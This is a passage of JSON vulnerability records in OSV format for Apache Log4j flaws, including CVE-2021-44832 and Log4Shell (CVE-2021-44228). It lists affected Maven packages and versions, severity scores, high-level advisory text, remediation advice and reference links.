"https://github.com/apache/logging-log4j2/compare/rel/2.3...rel/2.3.1" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "Incomplete fix for Apache Log4j vulnerability" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-8489-44mv-ggj8/GHSA-8489-44mv-ggj8.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.0-beta7" }, { "fixed": "2.3.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0", "2.0-beta7", "2.0-beta8", "2.0-beta9", "2.0-rc1", "2.0-rc2", "2.0.1", "2.0.2", "2.1", "2.2", "2.3", "2.3.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-8489-44mv-ggj8/GHSA-8489-44mv-ggj8.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.4" }, { "fixed": "2.12.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.11.0", "2.11.1", "2.11.2", "2.12.0", "2.12.1", "2.12.2", "2.12.3", "2.4", "2.4.1", "2.5", "2.6", "2.6.1", "2.6.2", "2.7", "2.8", "2.8.1", "2.8.2", "2.9.0", "2.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-8489-44mv-ggj8/GHSA-8489-44mv-ggj8.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.17.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0", "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1", "2.15.0", "2.16.0", "2.17.0" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-8489-44mv-ggj8/GHSA-8489-44mv-ggj8.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.8.0" }, { "fixed": "1.9.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.8.0", "1.8.1", "1.8.2", "1.8.3", "1.8.4", "1.8.5", "1.8.6", "1.8.7", "1.9.0", "1.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-8489-44mv-ggj8/GHSA-8489-44mv-ggj8.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.10.0" }, { "fixed": "1.10.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.10.0", "1.10.1", "1.10.2", "1.10.3", "1.10.4", "1.10.5", "1.10.6", "1.10.7", "1.10.8" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-8489-44mv-ggj8/GHSA-8489-44mv-ggj8.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.11.0" }, { "fixed": "1.11.13" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.11.0", "1.11.1", "1.11.10", "1.11.11", "1.11.12", "1.11.2", "1.11.3", "1.11.4", "1.11.5", "1.11.6", "1.11.7", "1.11.8", "1.11.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-8489-44mv-ggj8/GHSA-8489-44mv-ggj8.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.0.14" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.10", "2.0.11", "2.0.12", "2.0.13", "2.0.2", "2.0.3", "2.0.4", "2.0.5", "2.0.6", "2.0.7", "2.0.8", "2.0.9" ] } ], "aliases": [ "CVE-2021-44832" ], "database_specific": { "cwe_ids": [ "CWE-20", "CWE-74" ], "github_reviewed": true, "github_reviewed_at": "2021-12-28T21:14:19Z", "nvd_published_at": "2021-12-28T20:15:00Z", "severity": "MODERATE" }, "details": "Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to an attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.\n\n\n# Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\nThis issue does not impact default configurations of Log4j2 and requires an attacker to have control over the Log4j2 configuration, which reduces the likelihood of being exploited.", "id": "GHSA-8489-44mv-ggj8", "modified": "2026-06-09T10:45:14.253296471Z", "published": "2022-01-04T16:14:20Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44832" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-784507.pdf" }, { "type": "PACKAGE", "url": "https://github.com/apache/logging-log4j2" }, { "type": "WEB", "url": "https://issues.apache.org/jira/browse/LOG4J2-3293" }, { "type": "WEB", "url": "https://lists.apache.org/thread/s1o5vlo78ypqxnzn6p8zf6t9shtq5143" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2021/12/msg00036.html" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EVV25FXL4FU5X6X5BSL7RLQ7T6F65MRA" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/T57MPJUW3MA6QGWZRTMCHHMMPQNVKGFC" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EVV25FXL4FU5X6X5BSL7RLQ7T6F65MRA" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T57MPJUW3MA6QGWZRTMCHHMMPQNVKGFC" }, { "type": "WEB", "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20220104-0001" }, { "type": "WEB", "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2021/12/28/1" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "Improper Input Validation and Injection in Apache Log4j2" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.13.0" }, { "fixed": "2.15.0" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.13.0", "2.13.1", "2.13.2", "2.13.3", "2.14.0", "2.14.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.0-beta9" }, { "fixed": "2.3.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0", "2.0-beta9", "2.0-rc1", "2.0-rc2", "2.0.1", "2.0.2", "2.1", "2.2", "2.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.apache.logging.log4j:log4j-core", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core" }, "ranges": [ { "events": [ { "introduced": "2.4" }, { "fixed": "2.12.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.11.0", "2.11.1", "2.11.2", "2.12.0", "2.12.1", "2.4", "2.4.1", "2.5", "2.6", "2.6.1", "2.6.2", "2.7", "2.8", "2.8.1", "2.8.2", "2.9.0", "2.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "com.guicedee.services:log4j-core", "purl": "pkg:maven/com.guicedee.services/log4j-core" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "1.2.1.2-jre17" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.0.10.0", "1.0.10.0-jre13", "1.0.10.0-jre14", "1.0.10.1", "1.0.10.1-jre14", "1.0.10.3", "1.0.10.3-jre14", "1.0.10.4", "1.0.10.4-jre12", "1.0.10.4-jre13", "1.0.10.4-jre14", "1.0.11.0-jre14", "1.0.11.2-jre14", "1.0.11.5", "1.0.11.5-jre12", "1.0.11.5-jre14", "1.0.11.6-jre14", "1.0.11.7", "1.0.11.7-jre12", "1.0.11.7-jre14", "1.0.12.0", "1.0.12.0-jre12", "1.0.12.0-jre13", "1.0.12.0-jre14", "1.0.12.0-jre8", "1.0.12.1", "1.0.12.1-jre12", "1.0.12.1-jre14", "1.0.12.2", "1.0.12.2-jre12", "1.0.12.2-jre14", "1.0.12.3", "1.0.12.3-jre12", "1.0.12.3-jre13", "1.0.12.3-jre14", "1.0.12.4", "1.0.12.4-jre12", "1.0.12.4-jre13", "1.0.12.4-jre14", "1.0.12.4-jre8", "1.0.12.5", "1.0.12.5-jre14", "1.0.13.0", "1.0.13.0-jre12", "1.0.13.0-jre13", "1.0.13.0-jre14", "1.0.13.0-jre8", "1.0.13.1", "1.0.13.1-jre13", "1.0.13.1-jre14", "1.0.13.1-jre8", "1.0.13.2", "1.0.13.2-jre12", "1.0.13.2-jre13", "1.0.13.2-jre14", "1.0.13.2-jre8", "1.0.13.3", "1.0.13.3-jre14", "1.0.13.4", "1.0.13.4-jre12", "1.0.13.4-jre13", "1.0.13.4-jre14", "1.0.13.5", "1.0.13.5-jre12", "1.0.13.5-jre14", "1.0.13.5-jre8", "1.0.14.0-RC1-jre14", "1.0.14.0-RC1-jre8", "1.0.14.1", "1.0.14.1-jre12", "1.0.14.1-jre13", "1.0.14.1-jre14", "1.0.14.1-jre8", "1.0.14.3-jre8", "1.0.14.4-jre14", "1.0.14.4-jre8", "1.0.15.1", "1.0.15.1-jre12", "1.0.15.1-jre13", "1.0.15.1-jre14", "1.0.15.1-jre8", "1.0.15.2", "1.0.15.2-jre12", "1.0.15.2-jre14", "1.0.15.2-jre8", "1.0.15.3-jre14", "1.0.15.3-jre8", "1.0.15.4", "1.0.15.4-jre14", "1.0.15.4-jre8", "1.0.15.5", "1.0.15.5-jre14", "1.0.15.5-jre8", "1.0.16.0", "1.0.16.0-jre14", "1.0.16.0-jre8", "1.0.17.0", "1.0.17.0-jre14", "1.0.17.1", "1.0.17.1-jre14", "1.0.17.1-jre8", "1.0.18.0", "1.0.18.0-jre14", "1.0.18.0-jre15", "1.0.18.0-jre8", "1.0.18.1", "1.0.18.1-jre14", "1.0.18.1-jre15", "1.0.18.1-jre8", "1.0.19.0", "1.0.19.0-jre14", "1.0.19.0-jre15", "1.0.19.1", "1.0.19.1-jre12", "1.0.19.1-jre13", "1.0.19.1-jre14", "1.0.19.1-jre15", "1.0.19.1-jre8", "1.0.19.10", "1.0.19.10-jre12", "1.0.19.10-jre14", "1.0.19.10-jre15", "1.0.19.10-jre8", "1.0.19.11", "1.0.19.11-jre14", "1.0.19.11-jre8", "1.0.19.12-jre14", "1.0.19.12-jre8", "1.0.19.13", "1.0.19.13-jre14", "1.0.19.13-jre15", "1.0.19.13-jre8", "1.0.19.2", "1.0.19.2-jre13", "1.0.19.2-jre14", "1.0.19.2-jre15", "1.0.19.2-jre8", "1.0.19.3", "1.0.19.3-jre13", "1.0.19.3-jre14", "1.0.19.3-jre15", "1.0.19.3-jre8", "1.0.19.4", "1.0.19.4-jre14", "1.0.19.4-jre15", "1.0.19.4-jre8", "1.0.19.5", "1.0.19.5-jre14", "1.0.19.5-jre15", "1.0.19.5-jre8", "1.0.19.6", "1.0.19.6-jre14", "1.0.19.6-jre8", "1.0.19.7-jre14", "1.0.19.7-jre8", "1.0.19.8-jre8", "1.0.19.9", "1.0.19.9-jre13", "1.0.19.9-jre14", "1.0.19.9-jre15", "1.0.19.9-jre8", "1.0.2.15", "1.0.2.15-jre13", "1.0.2.16-jre13", "1.0.2.17-jre13", "1.0.2.18", "1.0.2.18-jre12", "1.0.2.18-jre13", "1.0.20.0", "1.0.20.0-jre14", "1.0.20.0-jre15", "1.0.20.0-jre8", "1.0.20.1", "1.0.20.1-jre14", "1.0.20.1-jre15", "1.0.20.1-jre8", "1.0.20.2", "1.0.20.2-jre14", "1.0.20.2-jre15", "1.0.20.2-jre8", "1.0.3.1-jre13", "1.0.3.2", "1.0.3.2-jre13", "1.0.3.3", "1.0.3.3-jre12", "1.0.3.3-jre13", "1.0.4.1-jre13", "1.0.4.2", "1.0.4.2-jre13", "1.0.4.3-jre13", "1.0.4.4", "1.0.4.4-jre13", "1.0.5.0", "1.0.5.0-jre13", "1.0.5.1", "1.0.5.1-jre12", "1.0.5.1-jre13", "1.0.5.2", "1.0.5.2-jre12", "1.0.5.2-jre13", "1.0.5.3", "1.0.5.3-jre12", "1.0.5.3-jre13", "1.0.5.4-jre13", "1.0.5.4-jre14", "1.0.5.5", "1.0.5.5-jre12", "1.0.5.5-jre13", "1.0.5.5-jre14", "1.0.6.1", "1.0.6.1-jre12", "1.0.6.1-jre13", "1.0.6.1-jre14", "1.0.6.2", "1.0.6.2-jre12", "1.0.6.2-jre13", "1.0.6.2-jre14", "1.0.6.3", "1.0.6.3-jre12", "1.0.6.3-jre13", "1.0.6.3-jre14", "1.0.6.4-jre14", "1.0.6.5", "1.0.6.5-jre12", "1.0.6.5-jre13", "1.0.6.5-jre14", "1.0.6.7", "1.0.6.7-jre14", "1.0.7.0", "1.0.7.0-jre12", "1.0.7.0-jre13", "1.0.7.0-jre14", "1.0.7.1", "1.0.7.1-jre13", "1.0.7.1-jre14", "1.0.7.10", "1.0.7.10-jre13", "1.0.7.10-jre14", "1.0.7.11", "1.0.7.11-jre14", "1.0.7.12", "1.0.7.12-jre12", "1.0.7.12-jre13", "1.0.7.12-jre14", "1.0.7.2-jre14", "1.0.7.3", "1.0.7.3-jre13", "1.0.7.3-jre14", "1.0.7.4", "1.0.7.4-jre14", "1.0.7.5", "1.0.7.5-jre14", "1.0.7.6", "1.0.7.6-jre14", "1.0.7.9", "1.0.7.9-jre14", "1.0.8.1", "1.0.8.1-jre14", "1.0.8.12", "1.0.8.12-jre12", "1.0.8.12-jre14", "1.0.8.16", "1.0.8.16-jre14", "1.0.8.18", "1.0.8.18-jre14", "1.0.8.2", "1.0.8.2-jre13", "1.0.8.2-jre14", "1.0.8.3", "1.0.8.3-jre13", "1.0.8.3-jre14", "1.0.8.4", "1.0.8.4-jre12", "1.0.8.4-jre13", "1.0.8.4-jre14", "1.0.8.5", "1.0.8.5-jre12", "1.0.8.5-jre13", "1.0.8.5-jre14", "1.0.8.6-jre14", "1.0.9.0", "1.0.9.0-jre14", "1.0.9.1", "1.0.9.1-jre14", "1.0.9.10", "1.0.9.10-jre14", "1.0.9.11", "1.0.9.11-jre14", "1.0.9.13", "1.0.9.13-jre14", "1.0.9.14", "1.0.9.14-jre14", "1.0.9.2", "1.0.9.2-jre14", "1.0.9.3-jre14", "1.0.9.4-jre14", "1.0.9.5-jre14", "1.0.9.7-jre14", "1.1.0.0-jre15", "1.1.0.1", "1.1.0.1-jre14", "1.1.0.1-jre15", "1.1.0.2", "1.1.0.2-jre14", "1.1.0.2-jre15", "1.1.0.3", "1.1.0.3-jre14", "1.1.0.3-jre15", "1.1.0.3-jre8", "1.1.0.4-jre14", "1.1.0.4-jre15", "1.1.0.4-jre8", "1.1.0.5-jre14", "1.1.0.5-jre15", "1.1.0.6", "1.1.0.6-jre14", "1.1.0.6-jre15", "1.1.0.7", "1.1.0.7-jre14", "1.1.0.7-jre15", "1.1.0.7-jre8", "1.1.0.8-SNAPSHOT-jre14", "1.1.1.0", "1.1.1.0-SNAPSHOT-jre14", "1.1.1.0-SNAPSHOT-jre15", "1.1.1.0-SNAPSHOT-jre8", "1.1.1.0-jre14", "1.1.1.0-jre15", "1.1.1.0-jre8", "1.1.1.1-SP1", "1.1.1.1-jre14-SP1", "1.1.1.1-jre15-SP1", "1.1.1.2", "1.1.1.2-jre14", "1.1.1.2-jre15", "1.1.1.3", "1.1.1.3-jre14", "1.1.1.3-jre15", "1.1.1.3-jre16", "1.1.1.3-jre8", "1.1.1.4", "1.1.1.4-jre14", "1.1.1.4-jre15", "1.1.1.4-jre16", "1.1.1.4-jre8", "1.1.1.5-jre15", "1.1.1.7", "1.1.1.7-jre15", "1.1.1.7-jre16", "1.1.1.7-jre8", "1.1.1.8-jre15", "1.1.1.8-jre16", "1.1.1.9-jre15", "1.1.1.9-jre16", "1.2.0.0-jre16", "1.2.0.1-jre11", "1.2.0.1-jre15", "1.2.0.1-jre16", "1.2.0.2-jre16", "1.2.0.3-jre17-rc1", "1.2.1.1-jre17", "1.2.1.2-jre17" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.xbib.elasticsearch:log4j", "purl": "pkg:maven/org.xbib.elasticsearch/log4j" }, "versions": [ "6.3.2.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "uk.co.nichesolutions.logging.log4j:log4j-core", "purl": "pkg:maven/uk.co.nichesolutions.logging.log4j/log4j-core" }, "versions": [ "2.6.3-CUSTOM" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.8.0" }, { "fixed": "1.9.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.8.0", "1.8.1", "1.8.2", "1.8.3", "1.8.4", "1.8.5", "1.8.6", "1.8.7", "1.9.0", "1.9.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.10.0" }, { "fixed": "1.10.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.10.0", "1.10.1", "1.10.2", "1.10.3", "1.10.4", "1.10.5", "1.10.6", "1.10.7" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "1.11.0" }, { "fixed": "1.11.10" } ], "type": "ECOSYSTEM" } ], "versions": [ "1.11.0", "1.11.1", "1.11.2", "1.11.3", "1.11.4", "1.11.5", "1.11.6", "1.11.7", "1.11.8", "1.11.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-jfh8-c2jp-5v3q/GHSA-jfh8-c2jp-5v3q.json" }, "package": { "ecosystem": "Maven", "name": "org.ops4j.pax.logging:pax-logging-log4j2", "purl": "pkg:maven/org.ops4j.pax.logging/pax-logging-log4j2" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.0.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.10", "2.0.2", "2.0.3", "2.0.4", "2.0.5", "2.0.6", "2.0.7", "2.0.8", "2.0.9" ] } ], "aliases": [ "CVE-2021-44228" ], "database_specific": { "cwe_ids": [ "CWE-20", "CWE-400", "CWE-502", "CWE-917" ], "github_reviewed": true, "github_reviewed_at": "2021-12-10T00:40:41Z", "nvd_published_at": "2021-12-10T10:15:00Z", "severity": "CRITICAL" }, "details": "# Summary\n\nLog4j versions prior to 2.16.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.\nAs per [Apache's Log4j security guide](https://logging.apache.org/log4j/2.x/security.html): Apache Log4j2 \u003c=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.16.0, this behavior has been disabled by default.\n\nLog4j version 2.15.0 contained an earlier fix for the vulnerability, but that patch did not disable attacker-controlled JNDI lookups in all situations. For more information, see the `Updated advice for version 2.16.0` section of this advisory.\n\n# Impact\n\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input. \n\n# Affected versions\n\nAny Log4J version prior to v2.15.0 is affected to this specific issue.\n\nThe v1 branch of Log4J which is considered End Of Life (EOL) is vulnerable to other RCE vectors so the recommendation is to still update to 2.16.0 where possible.\n\n## Security releases\nAdditional backports of this fix have been made available in versions 2.3.1, 2.12.2, and 2.12.3\n\n## Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\n# Remediation Advice\n\n## Updated advice for version 2.16.0\n\nThe Apache Logging Services team provided updated mitigation advice upon the release of version 2.16.0, which [disables JNDI by default and completely removes support for message lookups](https://logging.apache.org/log4j/2.x/changes-report.html#a2.16.0).\nEven in version 2.15.0, lookups used in layouts to provide specific pieces of context information will still recursively resolve, possibly triggering JNDI lookups. This problem is being tracked as [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046). More information is available on the [GitHub Security Advisory for CVE-2021-45046](https://github.com/advisories/GHSA-7rjr-3q55-vv33).\n\nUsers who want to avoid attacker-controlled JNDI lookups but cannot upgrade to 2.16.0 must [ensure that no such lookups resolve to attacker-provided data and ensure that the the JndiLookup class is not loaded](https://issues.apache.org/jira/browse/LOG4J2-3221).\n\nPlease note that Log4J v1 is End Of Life (EOL) and will not receive patches for this issue. Log4J v1 is also vulnerable to other RCE vectors and we recommend you migrate to Log4J 2.16.0 where possible.", "id": "GHSA-jfh8-c2jp-5v3q", "modified": "2025-10-22T19:37:02.616807Z", "published": "2021-12-10T00:40:56Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44228" }, { "type": "WEB", "url": "https://github.com/apache/logging-log4j2/pull/608" }, { "type": "WEB", "url": "https://github.com/github/advisory-database/pull/5501" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf" }, { "type": "WEB", "url": "https://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.html" }, { "type": "WEB", "url": "https://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html" }, { "type": "WEB", "url": "https://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.html" }, { "type": "WEB", "url": "https://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html" }, { "type": "WEB", "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032" }, { "type": "WEB", "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd" }, { "type": "WEB", "url": "https://seclists.org/fulldisclosure/2022/Dec/2" }, { "type": "WEB", "url": "https://seclists.org/fulldisclosure/2022/Jul/11" }, { "type": "WEB", "url": "https://seclists.org/fulldisclosure/2022/Mar/23" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20211210-0007" }, { "type": "WEB", "url": "https://support.apple.com/kb/HT213189" }, { "type": "WEB", "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd" }, { "type": "WEB", "url": "https://twitter.com/kurtseifried/status/1469345530182455296" }, { "type": "WEB", "url": "https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001" }, { "type": "WEB", "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-44228" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-5020" }, { "type": "WEB", "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html" }, { "type": "WEB", "url": "https://www.kb.cert.org/vuls/id/930724" }, { "type": "WEB", "url": "https://www.nu11secur1ty.com/2021/12/cve-2021-44228.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/alert-cve-2021-44228.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf" }, { "type": "WEB", "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf" }, { "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-7rjr-3q55-vv33" }, { "type": "PACKAGE", "url": "https://github.com/apache/logging-log4j2" }, { "type": "WEB", "url": "https://github.com/cisagov/log4j-affected-db" }, { "type": "WEB", "url": "https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md" }, { "type": "WEB", "url": "https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-44228" }, { "type": "WEB", "url": "https://github.com/tangxiaofeng7/apache-log4j-poc" }, { "type": "WEB", "url": "https://issues.apache.org/jira/browse/LOG4J2-3198" }, { "type": "WEB", "url": "https://issues.apache.org/jira/browse/LOG4J2-3201" }, { "type": "WEB", "url": "https://issues.apache.org/jira/browse/LOG4J2-3214" }, { "type": "WEB", "url": "https://issues.apache.org/jira/browse/LOG4J2-3221" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2021/12/msg00007.html" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM" }, { "type": "WEB", "url": 